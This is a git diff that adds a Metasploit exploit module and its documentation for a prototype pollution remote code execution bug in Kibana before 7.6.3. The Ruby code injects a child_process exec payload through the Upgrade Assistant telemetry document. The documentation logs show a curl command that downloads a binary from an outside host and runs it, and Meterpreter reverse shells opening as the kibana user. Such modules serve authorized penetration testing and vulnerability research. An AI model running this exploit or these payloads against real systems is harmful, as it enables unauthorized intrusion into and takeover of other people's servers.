diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md new file mode 100644 index 000000000000..21de5e96220a --- /dev/null +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -0,0 +1,163 @@ +## Vulnerable Application + +Kibana before version 7.6.3 suffers from a prototype pollution bug within the +Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're +able to execute arbitrary code. +Code execution is possible through two different ways. Either by sending data +directly to Elastic, or using Kibana to submit the same queries. Either method +enters the polluted prototype for Kibana to read. + +Kibana will either need to be restarted, or collection happens (unknown time) for +the payload to execute. Once it does, cleanup must delete the .kibana_1 index +for Kibana to restart successfully. Once a callback does occur, cleanup will +happen allowing Kibana to be successfully restarted on next attempt. + +### Install + +A docker version of Kibana and Elastic are required. Both can be run together in a working mode via: + +``` +docker run -d --name es01 -e "discovery.type=single-node" -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 +docker run -d --name kib01 --link es01:elasticsearch -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 +``` + +To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01` + +To wipe the boxes: `docker kill kib01; docker kill es01; docker container rm es01; docker container rm kib01` + +### Error Logs + +The following error logs will appear when the payload executes. The logs seem to repeat about every half second. + +``` + error [11:59:41.805] [warning][process] UnhandledPromiseRejectionWarning: TypeError: this._tasks[taskName] is not a function + at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49) + at ontimeout (timers.js:436:11) + at tryOnTimeout (timers.js:300:5) + at listOnTimeout (timers.js:263:5) + at Timer.processTimers (timers.js:223:10) + at emitWarning (internal/process/promises.js:97:15) + at emitPromiseRejectionWarnings (internal/process/promises.js:143:7) + at process._tickCallback (internal/process/next_tick.js:69:34) + error [11:59:41.807] [warning][process] TypeError: this._tasks[taskName] is not a function + at Timeout._interval.setInterval [as _onTimeout] (/usr/share/kibana/node_modules/oppsy/lib/index.js:42:49) + at ontimeout (timers.js:436:11) + at tryOnTimeout (timers.js:300:5) + at listOnTimeout (timers.js:263:5) + at Timer.processTimers (timers.js:223:10) +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce` +1. Do: `set rhost [ip]` +1. Do: `set lhost [ip]` +1. Do: `run` +1. You should get a shell as the kibana user. + +## Options + +## Scenarios + +### Kibana 7.6.2 on Docker (Elastic Target) + +In this scenario, the cleanup process within Kibana kicked automatically, so no reboot of the host/service was required. + +``` +[*] Processing kibana_telem.rb for ERB directives. +resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (kibana_telem.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (kibana_telem.rb)> set rport 9200 +rport => 9200 +resource (kibana_telem.rb)> set verbose true +verbose => true +resource (kibana_telem.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > +msf6 exploit(linux/http/kibana_upgrade_assi +stant_telemetry_rce) > rexploit +[*] Reloading module... + +[*] Command to run on remote host: curl -so ./YFjALImGlTI http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./YFjALImGlTI; ./YFjALImGlTI & +[*] Fetch Handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Creating index +[*] Index already exists +[*] Sending index map +[*] Sending telemetry data with payload +[*] Waiting 1800 seconds for shell (kibana restart/cleanup) +[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 172.17.0.3 (curl/7.29.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:48674) at 2023-10-06 08:32:42 -0400 +[*] Removing telemetry data to prevent Kibana locking on restart + +meterpreter > getuid +Server username: kibana +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Kibana 7.6.2 on Docker (Kibana Target) + +``` +[*] Processing kibana_telem.rb for ERB directives. +resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (kibana_telem.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (kibana_telem.rb)> set rport 9200 +rport => 9200 +resource (kibana_telem.rb)> set verbose true +verbose => true +resource (kibana_telem.rb)> set lhost 1.1.1.1 +lhost => 1.1.1.1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1 +target => 1 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601 +rport => 5601 +msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit + +[*] Command to run on remote host: curl -so ./hzeCuLxAxx http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./hzeCuLxAxx; ./hzeCuLxAxx & +[*] Fetch Handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Creating index +[*] Index already exists +[*] Sending index map +[*] Sending telemetry data with payload +[*] Waiting 1800 seconds for shell (kibana restart/cleanup) +``` + +After several minutes, the host was rebooted instead of waiting for the cleanup process to happen. Docker host reboot was done +with the following command if daemonized: `docker kill kib01; docker start kib01` + +``` +[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 172.17.0.3 (curl/7.29.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.3 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:60508) at 2023-10-06 09:48:43 -0400 +[-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1 + +meterpreter > getuid +Server username: kibana +meterpreter > sysinfo +Computer : 172.17.0.3 +OS : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb new file mode 100644 index 000000000000..d9a5edfa8347 --- /dev/null +++ b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb @@ -0,0 +1,370 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking # causes service to not respond until cleanup and reboot + include Msf::Exploit::Remote::HttpClient + # decided not to use autocheck since it doesn't work for both targets + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution', + 'Description' => %q{ + Kibana before version 7.6.3 suffers from a prototype pollution bug within the + Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're + able to execute arbitrary code. + Code execution is possible through two different ways. Either by sending data + directly to Elastic, or using Kibana to submit the same queries. Either method + enters the polluted prototype for Kibana to read. + + Kibana will either need to be restarted, or collection happens (unknown time) for + the payload to execute. Once it does, cleanup must delete the .kibana_1 index + for Kibana to restart successfully. Once a callback does occur, cleanup will + happen allowing Kibana to be successfully restarted on next attempt. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis + ], + 'References' => [ + [ 'URL', 'https://hackerone.com/reports/852613'], + ], + 'Privileged' => false, + 'Arch' => [ ARCH_CMD ], + 'Platform' => [ 'linux' ], + 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'WfsDelay' => 1800 # 30min + }, + 'Targets' => [ + [ 'ELASTIC', {}], # target kibana through a direct elastic connection + [ 'KIBANA', {}] # target kibana through the dev console to implant elastic data + ], + 'DisclosureDate' => '2020-04-17', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(9200), # default to elastic port, kibana is 5601 + OptString.new('USERNAME', [ false, 'Elastic User to login with', '']), + OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/']) + ] + ) + end + + # https://stackoverflow.com/a/4899857 + def time_rand(from = Time.local(2020, 6, 28), to = Time.now) + Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z') + # outputs 2020-04-17T20:47:40.800Z format + end + + # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session + # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case. + def kibana_cleanup + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'ctype' => 'application/json', + 'vars_get' => { + 'path' => '.kibana_1', # URI for the elastic request + 'method' => 'DELETE' # method for the elastic query + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_cleanup + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana*'), + 'method' => 'DELETE' + + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def execute_command + case target.name + when 'ELASTIC' + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => telemetry_data.to_json + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? + + res = send_request_cgi(request) + when 'KIBANA' + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'ctype' => 'application/json', + 'vars_get' => { + 'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + }, + 'data' => telemetry_data.to_json + ) + end + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201 + end + + def telemetry_data + { + 'upgrade-assistant-telemetry' => { + 'ui_open.overview' => 1, + 'ui_open.cluster' => 1, + 'ui_open.indices' => 1, + 'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')" + }, + 'type' => 'upgrade-assistant-telemetry', + 'updated_at' => time_rand + } + end + + def kibana_create_index + # if the index already exists, this will fail which is fine, we just need it to exist. + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'path' => '.kibana_1', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 400 + vprint_status('Index already exists') + return + end + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_create_index + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1'), + 'method' => 'PUT' + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + if res.code == 400 + vprint_status('Index already exists') + return + end + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def kibana_send_mapping + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => { + 'kbn-xsrf' => @xsrf + }, + 'vars_get' => { + 'path' => '.kibana_1/_mappings', # URI for the elastic request + 'method' => 'PUT' # method for the elastic query + }, + 'data' => mapping_data.to_json + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def elastic_send_mapping + request = { + 'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'), + 'method' => 'PUT', + 'ctype' => 'application/json', + 'data' => mapping_data.to_json + + } + request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? + + res = send_request_cgi(request) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200 + end + + def mapping_data + { + 'properties' => { + 'upgrade-assistant-telemetry' => { + 'properties' => { + 'constructor' => { + 'properties' => { + 'prototype' => { + 'properties' => { + 'sourceURL' => { + 'type' => 'text', + 'fields' => { + 'keyword' => { + 'type' => 'keyword', + 'ignore_above' => 256 + } + } + } + } + } + } + }, + 'features' => { + 'properties' => { + 'deprecation_logging' => { + 'properties' => { + 'enabled' => { + 'type' => 'boolean', + 'null_value' => true + } + } + } + } + }, + 'ui_open' => { + 'properties' => { + 'cluster' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'indices' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'overview' => { + 'type' => 'long', + 'null_value' => 0 + } + } + }, + 'ui_reindex' => { + 'properties' => { + 'close' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'open' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'start' => { + 'type' => 'long', + 'null_value' => 0 + }, + 'stop' => { + 'type' => 'long', + 'null_value' => 0 + } + } + } + } + } + } + } + end + + def check + if target == targets[0] # elastic + return CheckCode::Unknown('Unable to determine Kibana version from Elastic database') + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'app', 'kibana'), + 'method' => 'GET', + 'keep_cookies' => true + ) + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + # this pulls a big JSON blob that we need as it has the version + unless %r{} =~ res.body + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + version_json = CGI.unescapeHTML(Regexp.last_match(1)) + + begin + json_body = JSON.parse(version_json) + rescue JSON::ParserError + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") + end + + return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil? + + @version = json_body['version'] + + if Rex::Version.new(@version) < Rex::Version.new('7.6.3') + return CheckCode::Appears("Exploitable Version Detected: #{@version}") + end + + CheckCode::Safe("Unexploitable Version Detected: #{@version}") + end + + def exploit + @clean = true + fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank? + case target.name + when 'ELASTIC' + print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200 + print_status('Creating index') + elastic_create_index + print_status('Sending index map') + elastic_send_mapping + when 'KIBANA' + print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601 + # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2 + # https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3 + @xsrf = 'kibana' + print_status('Creating index') + kibana_create_index + print_status('Sending index map') + kibana_send_mapping + end + print_status('Sending telemetry data with payload') + execute_command + print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)") + end + + def cleanup + return unless @clean + + if target.name == 'KIBANA' + print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1') + # kibana_cleanup + return + end + print_status('Removing telemetry data to prevent Kibana locking on restart') + elastic_cleanup + end +end